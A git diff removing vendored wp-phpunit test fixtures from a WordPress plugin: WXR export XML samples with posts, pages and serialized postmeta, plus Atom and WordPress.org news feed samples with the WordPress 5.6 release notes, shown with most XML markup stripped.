07:48:32 +0000 - admin - http://localhost/?p=17 - - - - 17 - 2011-01-18 07:48:32 - 2011-01-18 07:48:32 - open - open - top-level-foo - publish - 0 - 0 - post - - 0 - - - _edit_last - - - - - Non-standard post format - http://localhost/?p=19 - Tue, 18 Jan 2011 07:48:52 +0000 - admin - http://localhost/?p=19 - - - - 19 - 2011-01-18 07:48:52 - 2011-01-18 07:48:52 - open - open - non-standard-post-format - publish - 0 - 0 - post - - 0 - - - - _edit_last - - - - - Many Categories - http://localhost/?p=22 - Tue, 18 Jan 2011 07:55:01 +0000 - admin - http://localhost/?p=22 - - - - 22 - 2011-01-18 07:55:01 - 2011-01-18 07:55:01 - open - open - many-categories - publish - 0 - 0 - post - - 0 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - _edit_last - - - -
          -
          diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-no-cdata.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-no-cdata.xml deleted file mode 100644 index dd75787f..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-no-cdata.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - Test With Serialized Postmeta - http://test.wordpress.org/ - Just another blog - Mon, 30 Nov 2009 21:35:27 +0000 - http://wordpress.org/?v=2.8.4 - en - 1.0 - http://test.wordpress.org/ - http://test.wordpress.org/ - -My Entry with Postmeta -http://test.wordpress.org/postemta -Tue, 30 Nov 1999 00:00:00 +0000 - - - - - - -http://test.wordpress.org/postmeta - - - -122 -2009-10-20 16:13:20 -0000-00-00 00:00:00 -open -open - -draft -0 -0 -post - - -post-options -a:2:{s:18:"special_post_title";s:15:"A special title";s:11:"is_calendar";s:0:"";} - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-with-cdata.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-with-cdata.xml deleted file mode 100644 index 2fd39235..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-serialized-postmeta-with-cdata.xml +++ /dev/null @@ -1,77 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - Test With Serialized Postmeta - http://test.wordpress.org/ - Just another blog - Mon, 30 Nov 2009 21:35:27 +0000 - http://wordpress.org/?v=2.8.4 - en - 1.0 - http://test.wordpress.org/ - http://test.wordpress.org/ - -My Entry with Postmeta -http://test.wordpress.org/postemta -Tue, 30 Nov 1999 00:00:00 +0000 - - - - - - -http://test.wordpress.org/postmeta - - - -10 -2009-10-20 16:13:20 -0000-00-00 00:00:00 -open -open - -draft -0 -0 -post - - -post-options - - - -contains-html -some html]]> - - -evil -evil]]> - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-utw-post-meta-import.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-utw-post-meta-import.xml deleted file mode 100644 index c491f6d4..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/test-utw-post-meta-import.xml +++ /dev/null @@ -1,69 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - Test With Serialized Postmeta - http://test.wordpress.org/ - Just another blog - Mon, 30 Nov 2009 21:35:27 +0000 - http://wordpress.org/?v=2.8.4 - en - 1.0 - http://test.wordpress.org/ - http://test.wordpress.org/ - -My Entry with UTW Postmeta -http://test.wordpress.org/postmeta-utw -Tue, 30 Nov 1999 00:00:00 +0000 - - - - - - -http://test.wordpress.org/postmeta-utw - - - -150 -2009-10-20 16:13:20 -0000-00-00 00:00:00 -open -open - -draft -0 -0 -post - - -test -a:13:{i:0;O:8:"stdClass":1:{s:3:"tag";s:5:"album";}i:1;O:8:"stdClass":1:{s:3:"tag";s:5:"apple";}i:2;O:8:"stdClass":1:{s:3:"tag";s:3:"art";}i:3;O:8:"stdClass":1:{s:3:"tag";s:7:"artwork";}i:4;O:8:"stdClass":1:{s:3:"tag";s:11:"dead-tracks";}i:5;O:8:"stdClass":1:{s:3:"tag";s:4:"ipod";}i:6;O:8:"stdClass":1:{s:3:"tag";s:6:"itunes";}i:7;O:8:"stdClass":1:{s:3:"tag";s:10:"javascript";}i:8;O:8:"stdClass":1:{s:3:"tag";s:6:"lyrics";}i:9;O:8:"stdClass":1:{s:3:"tag";s:6:"script";}i:10;O:8:"stdClass":1:{s:3:"tag";s:6:"tracks";}i:11;O:8:"stdClass":1:{s:3:"tag";s:22:"windows-scripting-host";}i:12;O:8:"stdClass":1:{s:3:"tag";s:7:"wscript";}} - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.0.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.0.xml deleted file mode 100644 index 587e5712..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.0.xml +++ /dev/null @@ -1,282 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - Export Dataset - http://localhost/ - Just another WordPress site - Wed, 20 Oct 2010 14:10:09 +0000 - http://wordpress.org/?v=3.0.1 - en - 1.0 - http://localhost/ - http://localhost/ - alpha - beta - parent - uncategorized - childparent - chicken - face - news - roar - - http://wordpress.org/?v=3.0.1 - - - Hello world! - http://localhost/?p=1 - Wed, 20 Oct 2010 14:08:20 +0000 - - - - - - - http://localhost/?p=1 - - - - 1 - 2010-10-20 14:08:20 - 2010-10-20 14:08:20 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - 1 - - - http://wordpress.org/ - - 2010-10-20 14:08:20 - 2010-10-20 14:08:20 - To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> - 1 - - 0 - 0 - - - - About - http://localhost/?page_id=2 - Wed, 20 Oct 2010 14:08:20 +0000 - - - http://localhost/?page_id=2 - - - - 2 - 2010-10-20 14:08:20 - 2010-10-20 14:08:20 - open - open - about - publish - 0 - 0 - page - - 0 - - _wp_page_template - - - - - Alpha post - http://localhost/?p=4 - Wed, 20 Oct 2010 14:09:37 +0000 - - - - - - - - - - - - - - - http://localhost/?p=4 - - - - 4 - 2010-10-20 14:09:37 - 2010-10-20 14:09:37 - open - open - alpha-post - publish - 0 - 0 - post - - 0 - - _edit_last - - - - _edit_lock - - - - _wp_old_slug - - - - - Child post - http://localhost/?p=6 - Wed, 20 Oct 2010 14:10:09 +0000 - - - - - - - - - - - - - - - http://localhost/?p=6 - - - - 6 - 2010-10-20 14:10:09 - 2010-10-20 14:10:09 - open - open - child-post - publish - 0 - 0 - post - - 0 - - _edit_last - - - - _edit_lock - - - - _wp_old_slug - - - - - Child page - http://localhost/?page_id=8 - Wed, 20 Oct 2010 14:10:35 +0000 - - - http://localhost/?page_id=8 - - - - 8 - 2010-10-20 14:10:35 - 2010-10-20 14:10:35 - open - closed - child-post - publish - 10 - 0 - page - - 0 - - _edit_last - - - - _edit_lock - - - - _wp_page_template - - - - - Parent page - http://localhost/?page_id=10 - Wed, 20 Oct 2010 14:10:44 +0000 - - - http://localhost/?page_id=10 - - - - 10 - 2010-10-20 14:10:44 - 2010-10-20 14:10:44 - open - open - parent-page - publish - 0 - 0 - page - - 0 - - _edit_lock - - - - _edit_last - - - - _wp_page_template - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.1.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.1.xml deleted file mode 100644 index cd039e8e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/export/valid-wxr-1.1.xml +++ /dev/null @@ -1,112 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - Export Datasets - http://localhost/ - Just another WordPress site - Sat, 16 Oct 2010 20:53:18 +0000 - en - 1.1 - http://localhost/ - http://localhost/ - - 2johnjohndoe@example.org - - 3alpha - 22clippable - 40post_taxbieup - - http://wordpress.org/?v=3.1-alpha - - - Hello world! - http://localhost/?p=1 - Sat, 16 Oct 2010 20:53:18 +0000 - john - http://localhost/?p=1 - - - - 1 - 2010-10-16 20:53:18 - 2010-10-16 20:53:18 - open - open - hello-world - publish - 0 - 0 - post - - 0 - - - - - 1 - - - http://wordpress.org/ - - 2010-10-16 20:53:18 - 2010-10-16 20:53:18 - To delete a comment, just log in and view the post's comments. There you will have the option to edit or delete them.]]> - 1 - - 0 - 0 - - - - About - http://localhost/?page_id=2 - Sat, 16 Oct 2010 20:53:18 +0000 - john - http://localhost/?page_id=2 - - - - 2 - 2010-10-16 20:53:18 - 2010-10-16 20:53:18 - open - open - about - publish - 0 - 0 - page - - 0 - - _wp_page_template - - - - - diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/AtomParser_Parse_Test.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/AtomParser_Parse_Test.xml deleted file mode 100644 index 089dec97..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/AtomParser_Parse_Test.xml +++ /dev/null @@ -1,54 +0,0 @@ - - - - - - - dive into mark - - A <em>lot</em> of effort - went into making this effortless - - 2005-07-11T12:29:29Z - tag:example.org,2003:3 - - - Copyright (c) 2003, Mark Pilgrim - - Example Toolkit - - - Atom draft-07 snapshot - - - tag:example.org,2003:3.2397 - 2005-07-11T12:29:29Z - 2003-12-13T08:29:29-04:00 - - Mark Pilgrim - http://example.org/ - f8dy@example.com - - - Sam Ruby - - - Joe Gregorio - - -
          -

          [Update: The Atom draft is finished.]

          -
          -
          -
          -
          diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/wordpress-org-news.xml b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/wordpress-org-news.xml deleted file mode 100644 index 75ca75f0..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/feed/wordpress-org-news.xml +++ /dev/null @@ -1,910 +0,0 @@ - - - - News – – WordPress.org - - https://wordpress.org/news - WordPress News - Tue, 15 Dec 2020 21:02:22 +0000 - en-US - - hourly - - 1 - https://wordpress.org/?v=5.7-alpha-49801 -14607090 - Introducing Learn WordPress - https://wordpress.org/news/2020/12/introducing-learn-wordpress/ - - - Tue, 15 Dec 2020 13:00:00 +0000 - - - - https://wordpress.org/news/?p=9444 - - - Learn WordPress is a learning resource providing workshops, quizzes, courses, lesson plans, and discussion groups so that anyone, from beginners to advanced users, can learn to do more with WordPress. Learning how to use, build for, and contribute to WordPress is essential for anyone wanting to dive deeper into the software and its community. 

          - - - - - - - -

          This cross-team initiative is part of the WordPress.org network and features content from contributors from the global community. It will be updated weekly and will help connect new and existing WordPress users with the broader community while they learn.

          - - - -
          - - - -

          What can you learn about WordPress?

          - - - -

          On Learn WordPress you can find a range of material and opportunities to use at the time which works for you.

          - - - -

          Workshops are practical, skills-based videos that show viewers how to do new things with WordPress, whether you publish, manage, develop with, or contribute to WordPress. Most workshops include quizzes for you to test your newly gained knowledge.

          - - - -

          Discussion groups provide an opportunity for further collaborative learning with participants meeting together to discuss the workshop content – they take place online, either in video calls or Slack and accommodate all time zones.

          - - - -

          Lesson plans are guides for facilitators to use while presenting at events or within educational environments. Facilitators will find learning objectives (telling people what they are going to learn), any prerequisite skills, assets such as screenshots and slide decks, and learning assessments. 

          - - - -

          Courses are a series of interconnected lesson plans to be presented by a facilitator that will strategically focus on defined learning outcomes. Participants can go through these courses individually or as part of a group. After completing the learning, attendees should be able to apply their skills in the real world.

          - - - -

          In addition to the wealth of valuable content available on Learn WordPress, the platform provides an opportunity for individuals to learn alongside other community members and become connected with a global network of WordPress users, developers, and contributors.

          - - - -
          - -
          - - - -

          Why you should use Learn WordPress – videos from our community.

          - - - -

          How can you get involved?

          - - - - - - - -

          Learn WordPress is an open-source platform available for anyone to contribute content in any areas mentioned above. Find out more about how you can get involved with this initiative.

          - - - -

          Take part in our fun promotion campaigns on social and with your local community.

          - - - -

          Hundreds of people spanning a number of years have contributed to the development of learning materials. Thanks to everyone who worked so hard to make Learn WordPress a reality. 

          - - - -

          Particular thanks to:

          - - - -

          Training: @courane01, @azhiyadev, @geheren, @webtechpooja, @jessecowens, @onealtr, @rastaban, @evarlese, @manzwebdesigns
          Meta: @coreymckrill, @dufresnesteven, @jonoaldersonwp
          Community: @hlashbrooke, @camikaos, @harishanker, @angelasjin, @nao, @courtneypk, @andreamiddleton, @rmarks, @sippis
          Marketing: @webcommsat, @oglekler, @lmurillom, @yvettesonneveld, @meher, @nalininonstopnewsuk, @megphillips91, @marks99, @marybaum, @antialiasfactory, @herculespekkas, @chaion07
          Design: @melchoyce

          - - - -

          For a fuller list of the contributors who have been involved in training and Learn WordPress, visit the initial beta launch post. Thanks to everyone who has been involved to date and will be in the future. 

          - - - -

          #LearnWordPress #LearnWP

          -]]>
          - - - - 9444
          - - WordPress 5.6 “Simone†- https://wordpress.org/news/2020/12/simone/ - - - Tue, 08 Dec 2020 19:46:00 +0000 - - https://wordpress.org/news/?p=9325 - - - Meet Simone, our latest and greatest WordPress release. Named for the legendary performer Nina Simone, who is known for tunes like “Feeling Good”, “Young, Gifted and Black”, and “Four Women”. Fire up a playlist with her best work and read on to discover what we have in store for you.

          - - - -
          WordPress 5.6 Simone with a photo of Nina Simone
          - - - -
          -

          Welcome to WordPress 5.6

          -

          Sharing your stories has never been easier.

          -
          - - - -

          WordPress 5.6 brings you countless ways to set your ideas free and bring them to life. With a brand-new default theme as your canvas, it supports an ever-growing collection of blocks as your brushes. Paint with words. Pictures. Sound. Or rich embedded media.

          - - - -
          colored circles
          - - - -

          Greater layout flexibility

          - - - -

          Bring your stories to life with more tools that let you edit your layout with or without code. Single column blocks, designs using mixed widths and columns, full-width headers, and gradients in your cover block—make small changes or big statements with equal ease!

          - - - -

          More block patterns

          - - - -

          In some themes, preconfigured block patterns make setting up standard pages on your site a breeze. Let the power of patterns streamline your workflow and save you clicks. Plus, share these features with clients, editors, and more.

          - - - -

          Better video captioning

          - - - -

          To help you add subtitles or captions to your videos, you can now upload them within your post or page. This makes it easier than ever to make your videos accessible for anyone who needs or prefers to use subtitles.

          - - - -
          black vertical line
          - - - -

          Twenty Twenty-One is here!

          - - - -
          Examples of block patterns available in Twenty Twenty-One.
          - - - -

          Twenty Twenty-One is a blank canvas for your ideas, and the block editor is the best brush. It is built for the block editor and packed with brand-new block patterns you can only get in the default themes. Try different layouts in a matter of seconds, and let the theme’s eye-catching, yet timeless design make your work shine. 

          - - - -

          What’s more, this default theme puts accessibility at the heart of your website. It conforms to the WordPress accessibility-ready guidelines and addresses several more specialized standards from the Web Content Accessibility Guidelines (WCAG) 2.1 at level AAA. It will help you meet the highest level of international accessibility standards when you create accessible content and choose plugins which are accessible too!

          - - - -

          A rainbow of soft pastels

          - - - -
          A mobile screenshot of each included color palette in Twenty Twenty-One, going in ROYGBIV order.
          - - - -

          Perfect for a new year, Twenty Twenty-One gives you a range of pre-selected color palettes in pastel, all of which conform to AAA standards for contrast. You can also choose your own background color for the theme, and the theme chooses accessibility-conscious text colors for you — automatically!

          - - - -

          Need more flexibility than that? You can also choose your own color palette from the color picker.

          - - - -
          colored circles
          - - - -

          Improvements for everyone

          - - - -

          Expanding auto-updates

          - - - -

          For years, only developers have been able to update WordPress automatically. But now you have that option, right in your dashboard. If this is your first site, you have auto-updates ready to go, right now! Upgrading an existing site? No problem! Everything is the same as it was before.

          - - - -

          Accessibility Statement 

          - - - -

          Even if you’re not an expert, you can start letting others know about your site’s commitment to accessibility! The new feature plugin includes template copy for you to edit and publish, and it’s written to support different contexts and jurisdictions.  

          - - - -

          Built-in Patterns

          - - - -

          If you’ve not had the chance to play with block patterns yet, all default themes now feature a range of block patterns that let you master complex layouts with minimal effort. Customize the patterns to your liking with the copy, images, and colors that fit your story or brand. 

          - - - -
          colored and textured rectangles
          - - - -

          For developers

          - - - -

          REST API authentication with Application Passwords

          - - - -

          Thanks to the API’s new Application Passwords authorization feature, third-party apps can connect to your site seamlessly and securely. This new REST API feature lets you see what apps are connecting to your site and control what they do. 

          - - - -

          More PHP 8 support

          - - - -

          5.6 marks the first steps toward WordPress Core support for PHP 8. Now is a great time to start planning how your WordPress products, services, and sites can support the latest PHP version. For more information about what to expect next, read the PHP 8 developer note.

          - - - -

          jQuery

          - - - -

          Updates to jQuery in WordPress take place across three releases 5.5, 5.6, and 5.7. As we reach the mid-point of this process, run the update test plugin to check your sites for errors ahead of time.    

          - - - -

          If you find issues with the way your site looks ( e.g. a slider doesn’t work, a button is stuck — that sort of thing), install the jQuery Migrate plugin.

          - - - -

          Check out the Field Guide

          - - - -

          Read about the latest version of WordPress in this guide. It highlights developer notes for each change in the release. 

          - - - -
          -

          “It’s a new day, it’s a new life for me….and I’m feeling good.â€

          -

          ~Nina Simone

          -
          - - - -

          The Squad

          - - - -

          The WordPress 5.6 release comes to you from an all-women and non-binary identifying release squad:

          - - - - - - - -

          As always, this release reflects the hard work of 605 generous volunteer contributors. They collaborated on nearly 350 tickets on Trac and over 1,000 pull requests on GitHub.

          - - - -Özgür KARALAR, 1naveengiri, A5hleyRich, Aaron D. Campbell, Aaron Jorbin, aaronrobertshaw, abderrahman, Abha Thakor, Abhijit Rakas, Abhishek Pokhriyal, acosmin, Adam Silverstein, Adam Zielinski, Addie, Adrián de Grafreak, Adrianti Rusli, Afshana Diya, Ahmed Chaion, Ahmed Elgameel, ajensen, Ajit Bohra, Akira Tachibana, aktasfatih, Albert Juhé Lluveras, albertomake, Alex Concha, Alex Kirk, Alex Kozack, Alex Lende, Alex Mills, Alex Standiford, Alex Stine, allancole, Allie Nimmons, ambienthack, Amit Dudhat, Amol Vhankalas, Amy Kamala, Anand Upadhyay, Anchen le Roux, Anders Norén, Andrea Fercia, Andrea Middleton, Andrei Baicus, Andrei Draganescu, Andrew Duthie, Andrew Nacin, Andrew Ozz, Andrey "Rarst" Savchenko, Andy Fragen, Andy Peatling, Andy Skelton, Andy Stitt, Angel Hess, Angela Jin, Ankit Gade, Ankit Panchal, Anne McCarthy, Anthony Burchell, Anthony Hortin, Anton Lukin, Antonis Lilis, anuj2, Anyssa Ferreira, apedog, Apermo, archduck, archon810, Ari Stathopoulos, arippberger, arjendejong, ArnaudBan, Arpit G Shah, Arslan Ahmed, Arslan Ahmed Kalwar, Asvin Balloo, Atharva Dhekne, Austin Passy, austin880625, avixansa, ayesh, Ayesh Karunaratne, BackuPs, Barry, Bart Czyz, bduclos, Beatriz Fialho, Ben Meredith, Bernhard Kau, Bernhard Reiter, Bet Hannon, Beth Soderberg, bgermann, Bhagvan Mangukiya, bhautikvirani, Billy S, Birgir Erlendsson (birgire), Birgit Pauli-Haack, bobbingwide, BoldGrid, Boone Gorges, Boy Witthaya, Brady Vercher, Brandon Kraft, Brandon Payton, Breann McDede, Brent Miller, Brent Swisher, Brian Henry, Brian Hogg, bridgetwillard, brijeshb42, Burhan Nasir, Caleb Burks, Calin Don, Cameron Voell, campusboy, Carike, Carolina Nymark, Caroline, ceyhun0, Chad Reitsma, Chandrika Guntur, Chetan Prajapati, chexwarrior, Chintan hingrajiya, Chip Snyder, Chloé Bringmann, Chouby, Chris Alexander, Chris Van Patten, chriscct7, Christian Martin, Christoph Herr, Christopher Churchill, chunkysteveo, Claudiu Lodromanean, Clayton Collie, Collins Agbonghama, Commeuneimage, Copons, Corey Salzano, cpapazoglou, cranewest, Csaba (LittleBigThings), ctmartin, Dávid Szabó, Daisy Olsen, Dan Farrow, Daniel Bachhuber, Daniel Richards, Daniele Scasciafratte, danieltj, dantahoua, Darin Kotter, Dave McHale, David Aguilera, David Anderson, David Baumwald, David Gwyer, David Herrera, David Shanske, David Smith, David Wolfpaw, david.binda, Davis Shaver, dd32, Dean, Debabrata Karfa, Dee Teal, Deepak Lalwani, dekervit, demetris (Demetris Kikizas), Denis de Bernardy, Derek Herman, Designer023, dfenton, Dharmesh Patel, Dharmin Shah, Dhruvin, Dhul Wells, dietpawel, Dilip Bheda, dingo-d, DjZoNe, dogwithblog, Dominik Schilling, donmhico, donsony, Dossy Shiobara, dpacks, Dr. Ronny Harbich, dratwas, Drew Jaynes, dsifford, dushakov, dushanthi, dyrer, Earle Davies, Ebonie Butler, Edi Amin, Ella van Durpe, Ellen Bauer, Enej Bajgorić, Enrique Sánchez, epiqueras, Erik Betshammar, erikjandelange, Erin 'Folletto' Casali, eringoblog, eroraghav, Estela Rueda, etoledom, EugeneBos, Evan Mullins, Fabian, Fabian Kägy, Fabian Todt, Felipe Elia, Felix Arntz, Ferenc Forgacs, Florian TIAR, flymike, Francesca Marano, Frank Klein, Frankie Jarrett, fullofcaffeine, Gan Eng Chin, Garrett Hyder, Gary Cao, Gary Jones, Gary Pendergast, gchtr, Gennady Kovshenin, George, George Stephanis, geriux, Glauber Mota, glendaviesnz, goldenapples, Greg ZióÅ‚kowski, guidooffermans, gumacahin, H-var, hakre, happiryu, Hareesh, Haris Zulfiqar, harrym, harshbarach, Hauwa Abashiya, Haz, Helen Hou-Sandí, Henry Wright, Herre Groen, HoaSi, Hong Nga Nguyen, Howdy_McGee, Hugh Lashbrooke, Ian Dunn, Igor Radovanov, Imran Sayed, ingereck, Ipstenu (Mika Epstein), iqbalbary, Irene Strikkers, Isabel Brison, jagirbaheshwp, Jake Spurlock, Jake Whiteley, James Collins, James Koster, James Nylen, James Rosado, jameslnewell, Jan Thiel, Janvo Aldred, Jared Cobb, Jason Caldwell, Jason LeMahieu (MadtownLems), javorszky, Jaydip Rami, Jean-Baptiste Audras, Jeff Matson, Jeff Ong, Jeff Paul, jeffikus, jellypixel, Jeremy Felt, Jeremy Scott, Jeremy Yip, Jeroen Rotty, jeryj, Jeslen Bucci, Jessica Lyschik, jfoulquier, jimyaghi, Jip Moors, Joe Dolson, Joe McGill, joelclimbsthings, joelyoder, Joen Asmussen, Johanna de Vos, John Blackbourn, John Godley, John James Jacoby, Jon Brown, Jonathan Bossenger, Jonathan Desrosiers, Jonathan Stegall, Jonny Harris, Jono Alderson, Joost de Valk, jordesign, Jorge Bernal, Jorge Costa, joseaneto, Josepha Haden, Josh Levinson, Josh Pollock, joshuatf, JOTAKI, Taisuke, Joy, jsnajdr, Juliette Reinders Folmer, Junaid Bhura, Justin Ahinon, justlevine, K. Adam White, Kai Hao, Kailey (trepmal), Kalpesh Akabari, Karthik Bhat, Kaspars, Kelly Dwan, Kelly Hoffman, Kelly R, kellybleck, kellylawrence, Kevin Hagerty, Kharis Sulistiyono, Kipperlenny, Kiril Zhelyazkov, Kirsty Burgoine, Kishan Jasani, Kite, KittMedia, kjbenk, Kjell Reigstad, Knut Sparhell, komagain, Konstantin Obenland, Krupa, Kyle B. Johnson, landau, Larissa Murillo, latifi, Laura Byrne, Laura Nelson, Laxman Prajapati, leogermani, Lester Chan, Leutrim Husaj, lim3ra, Lionel Pointet, llizard, Louis, Luca Grandicelli, Luigi Cavalieri, Luke Cavanagh, Lumne, mager19, Maggie Cabrera, Mahesh Waghmare, mailnew2ster, Mainul Hassan Main, malinajirka, manzwebdesigns, Marcus Kazmierczak, Marek Hrabe, Marie Comet, Marijn, Marin Atanasov, Marius Jensen, Mark Jaquith, Mark Parnell, Mark Robson, Mark Smallman, Mark Uraine, Marko Heijnen, markshep, Marty Helmick, Mary Baum, Mateus Machado Luna, Mathieu Viet, Matias Ventura, Matt Cromwell, Matt Gibson, Matt Keys, Matt Mullenweg, Matt Wiebe, mattchowning, Matthias Pfefferle, mattoperry, Mayank Majeji, Meagan Hanes, Meg Phillips, Meher Bala, Mel Choyce-Dwan, mgol, mgrenierfarmmedia, Michael Arestad, Michael Beckwith, Michele Butcher-Jones, Michelle Frechette, Miguel Fonseca, mihdan, Mike Schroder, mikelopez, Mikey Arce, Milan Dinić, Milana Cap, Mitchell Bennis, mmarco9, Mohammad Jangda, Monika Rao, mopsyd, Morgan Estes, Morgan Kay, Morteza Geransayeh, mqudsi, mreishus, mrgrt, mrjoeldean, Mukesh Panchal, munyagu, musicaljoeker, mweichert, n5hzr, Nabil Moqbel, Nalini Thakor, Naoki Ohashi, Naoko Takano, Nate Gay, Nathan Johnson, Navanath Bhosale, Naveen Kharwar, Neil James (lcyh78), nendeb, net, Netravnen, nicomollet, Nidhi Jain, Niels Lange, Nik Tsekouras, Nikola, Nikolay Bachiyski, njbrown, nlpro, Noah Allen, noahshrader, nourma, O André, oakesjosh, oguzkocer, Olga Gleckler, Omar Alshaker, Omar Reiss, oolleegg55, Optimizing Matters, Ov3rfly, ovann86, ovenall, oxyc, Paal Joachim Romdahl, pabloselin, Paddy, Pankaj Mohale, Pascal Birchler, Pascal Casier, Paul Bearne, Paul Biron, Paul Bunkham, Paul Schreiber, Paul Stonier, Paul Von Schrottky, Pedro Mendonça, pentatonicfunk, pepe, Peter Elmered, Peter Smits, Peter Wilson, Phil Johnston, Pierre Gordon, Pilar Mera, Pinar, Piotrek Boniu, pishmishy, pkvillanueva, prashanttholia, Pratik K. Yadav, Presskopp, presstoke, prionkor, psealock, Puneet Sahalot, Q, Rachel Baker, Rajan Vijayan, rajeshsingh520, Rami Yushuvaev, Ravi Vaghela, ravipatel, rebasaurus, redstar504, Regan Khadgi, Rene Hermenau, retlehs, retrofox, riaanlom, Riad Benguella, ribaricplusplus, Rich Tabor, Rnaby, Robert Anderson, Robert Chapin, Rodrigo Arias, rogerlos, roikles, Rolf Siebers, Ronak Ganatra, roo2, rtagliento, Ryan Fredlund, Ryan Kienstra, Ryan McCue, Ryan Welcher, Sören Wrede, Sabrina Zeidan, Saeed Fard, salvoaranzulla, Sam Fullalove, Sam Webster, Samuel Wood (Otto), Sanjeev Aryal, Saqib Ameen, Sarah Ricker, sarayourfriend, sawanoboly, scarolan, Scott Cariss, Scott Reilly, scribu, scruffian, seanpaulrasmussen, Sebastian Pisula, SeBsZ, Senning, Sergey Biryukov, Sergey Yakimov, SergioEstevao, shaunandrews, Shawntelle Coker, Shital Marakana, shramee, Simon Resok, sirreal, smerriman, snapfractalpop, sproutchris, Stéphane Treilhou, Stanko Metodiev, Stefano Garuti, Stephen Bernhardt, Steve Dufresne, Steven Stern (sterndata), stevenlinx, Stoyan Georgiev, sudoshreyansh, Syed Balkhi, szaqal21, Tammie Lister, TeBenachi, techboyg5, Tellyworth, thefarlilacfield, Thelma Mutete, thib3113, thijsvanloef, Thomas M, Thomas Patrick Levy, thomaslhotta, Tim Havinga, Tim Hengeveld, Timi Wahalahti, Timothy Jacobs, TimoTijhof, Tkama, tmdesigned, TobiasBg, tobifjellner (Tor-Bjorn Fjellner), Tonya Mork, Toro_Unit (Hiroshi Urabe), torres126, Torsten Landsiedel, Towhidul I Chowdhury, tracy apps, treibstoff, Trisha Cornelius, Tung Du, tzafrir, Udit Desai, Ulrich, uxkai, Valentin Bora, Varun Sharma, vcanales, vidhiaddweb, Vinayak Anivase, Vinita Tandulkar, Vinny, virgodesign, WebMan Design | Oliver Juhas, Webmigrates Technologies, Weston Ruter, William Earnhardt, williampatton, Winstina Hughes, wittich, worldweb, Y_Kolev, Yan Sern, Yoav Farhi, yscik, Yui, Yvette Sonneveld, and Zebulan Stanphill. - - - -

          - - - -

          In addition, many thanks to all of the community volunteers who contribute in the support forums. They answer questions from people across the world, whether they are using WordPress for the first time, or they’ve been around since the first release all the way back in 2003. These releases are as successful as they are because of their efforts!

          - - - -

          Finally, thanks to all the community translators who helped make WordPress 5.6. available in 38 languages at the time of release. Our community translators are hard at work ensuring more languages are on their way (70 are already at 90%). If contributing to WordPress appeals to you, it’s easy to learn more. Check out Make WordPress or the core development blog.

          -]]>
          - - - - 9325
          - - State of the Word 2020 - https://wordpress.org/news/2020/12/state-of-the-word-2020/ - - - Fri, 04 Dec 2020 22:55:19 +0000 - - https://wordpress.org/news/?p=9296 - - - State of the Word is an annual keynote address delivered by the project co-founder, Matt Mullenweg. This year’s keynote will be streamed on Facebook, YouTube, and Twitter on Thursday, Dec 17th, 2020  at 1600 UTC.

          - - - -
          - - - -

          Have a question?

          - - - -

          A Question and Answer period with pre-recorded videos will follow State of the Word. To take part, record a video of you asking your question to Matt on your computer or phone (landscape format, please). Do not forget to include your name and how you use WordPress! Try to keep your video to under a minute so Matt can answer as many questions as possible.

          - - - -

          To submit your question, upload it as an unlisted video (YouTube works great for this) and send a link to ask-matt@wordcamp.org. Deadline is Friday, Dec 11th, 2020!

          - - - -

          New to State of the Word?

          - - - -

          If this is your first time hearing of this talk, you’re in luck! Check out previous recordings below.

          - - - - -]]>
          - - - - 9296
